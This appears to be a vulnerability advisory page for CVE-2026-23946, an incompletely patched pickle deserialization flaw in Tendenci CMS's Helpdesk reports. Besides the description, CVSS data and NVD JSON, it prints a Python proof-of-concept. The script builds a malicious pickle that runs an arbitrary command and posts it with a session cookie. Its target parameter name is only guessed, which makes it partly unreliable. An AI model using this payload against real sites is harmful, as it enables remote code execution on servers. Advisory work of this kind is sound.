Security Vulnerability Report
中文
CVE-2026-23946 CVSS 6.8 MEDIUM

CVE-2026-23946

Published: 2026-01-22 01:15:52
Last Modified: 2026-02-17 16:44:10

Description

Tendenci is an open source content management system built for non-profits, associations and cause-based sites. Versions 15.3.11 and below include a critical deserialization vulnerability in the Helpdesk module (which is not enabled by default). This vulnerability allows Remote Code Execution (RCE) by an authenticated user with staff security level due to using Python's pickle module in helpdesk /reports/. The original CVE-2020-14942 was incompletely patched. While ticket_list() was fixed to use safe JSON deserialization, the run_report() function still uses unsafe pickle.loads(). The impact is limited to the permissions of the user running the application, typically www-data, which generally lacks write (except for upload directories) and execute permissions. This issue has been fixed in version 15.3.12.

CVSS Details

CVSS Score
6.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:tendenci:tendenci:*:*:*:*:*:*:*:* - VULNERABLE
Tendenci CMS < 15.3.12 (Helpdesk模块未启用时不受影响)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-23946 PoC - Tendenci Helpdesk Unsecure Pickle Deserialization RCE Note: Requires authenticated staff-level user session """ import pickle import base64 import requests import subprocess import sys # Malicious pickle payload that executes system command class RCEPayload: def __reduce__(self): # Execute calc.exe on Windows or whoami on Unix for testing cmd = "whoami" # Change to your target command return (subprocess.Popen, (cmd, 0, None, None, None, True)) def generate_payload(command): """Generate malicious pickle payload""" payload = RCEPayload() payload.__reduce__ = lambda: (subprocess.Popen, (command, 0, None, None, None, True)) serialized = pickle.dumps(payload) return base64.b64encode(serialized).decode('utf-8') def exploit(target_url, session_cookie, command): """ Exploit the vulnerable endpoint Args: target_url: Base URL of Tendenci site (e.g., http://target.com) session_cookie: Valid authenticated session cookie command: Command to execute on target system """ # Generate malicious payload payload = generate_payload(command) # Target endpoint - vulnerable run_report() function exploit_url = f"{target_url}/helpdesk/reports/" headers = { 'Cookie': f'sessionid={session_cookie}', 'Content-Type': 'application/x-www-form-urlencoded', } # Payload format depends on how run_report() processes input data = { 'report_data': payload, # or similar parameter name } try: response = requests.post(exploit_url, data=data, headers=headers, timeout=10) print(f"[*] Request sent to {exploit_url}") print(f"[*] Status code: {response.status_code}") return response.text except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return None if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve-2026-23946-poc.py <target_url> <session_cookie> <command>") print("Example: python cve-2026-23946-poc.py http://vulnerable-site.com abc123 'whoami'") sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] cmd = sys.argv[3] print(f"[*] Generating payload for command: {cmd}") result = exploit(target, cookie, cmd) if result: print(f"[*] Response received (check server for command output)")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-23946", "sourceIdentifier": "[email protected]", "published": "2026-01-22T01:15:52.467", "lastModified": "2026-02-17T16:44:09.617", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tendenci is an open source content management system built for non-profits, associations and cause-based sites. Versions 15.3.11 and below include a critical deserialization vulnerability in the Helpdesk module (which is not enabled by default). This vulnerability allows Remote Code Execution (RCE) by an authenticated user with staff security level due to using Python's pickle module in helpdesk /reports/. The original CVE-2020-14942 was incompletely patched. While ticket_list() was fixed to use safe JSON deserialization, the run_report() function still uses unsafe pickle.loads(). The impact is limited to the permissions of the user running the application, typically www-data, which generally lacks write (except for upload directories) and execute permissions. This issue has been fixed in version 15.3.12."}, {"lang": "es", "value": "Tendenci es un sistema de gestión de contenidos de código abierto creado para organizaciones sin fines de lucro, asociaciones y sitios basados en causas. Las versiones 15.3.11 e inferiores incluyen una vulnerabilidad crítica de deserialización en el módulo Helpdesk (que no está habilitado por defecto). Esta vulnerabilidad permite la ejecución remota de código (RCE) por parte de un usuario autenticado con nivel de seguridad de personal debido al uso del módulo pickle de Python en helpdesk /reports/. El CVE-2020-14942 original se parcheó de forma incompleta. Aunque se corrigió ticket_list() para usar deserialización JSON segura, la función run_report() todavía usa pickle.loads() inseguro. El impacto está limitado a los permisos del usuario que ejecuta la aplicación, típicamente www-data, que generalmente carece de permisos de escritura (excepto para directorios de carga) y ejecución. Este problema ha sido corregido en la versión 15.3.12."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}, {"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:tendenci:tendenci:*:*:*:*:*:*:*:*", "versionEndExcluding": "15.3.12", "matchCriteriaId": "830362AC-5281-471F-A3E9-830713123133"}]}]}], "references": [{"url": "https://docs.python.org/3/library/pickle.html#restricting-globals", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://github.com/advisories/GHSA-jqmc-fxxp-r589", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://github.com/tendenci/tendenci/commit/23d9fd85ab7654e9c83cfc86cb4175c0bd7a77f1", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/tendenci/tendenci/commit/2ff0a457614944a1b417081c543ea4c5bb95d636", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/tendenci/tendenci/commit/63e1b84a5b163466d1d8d811d35e7021a7ca0d0e", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/tendenci/tendenci/issues/867", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Patch", "Vendor Advisory"]}, {"url": "https://github.com/tendenci/tendenci/releases/tag/v15.3.12", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/tendenci/tendenci/security/advisories/GHSA-339m-4qw5-j2g3", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}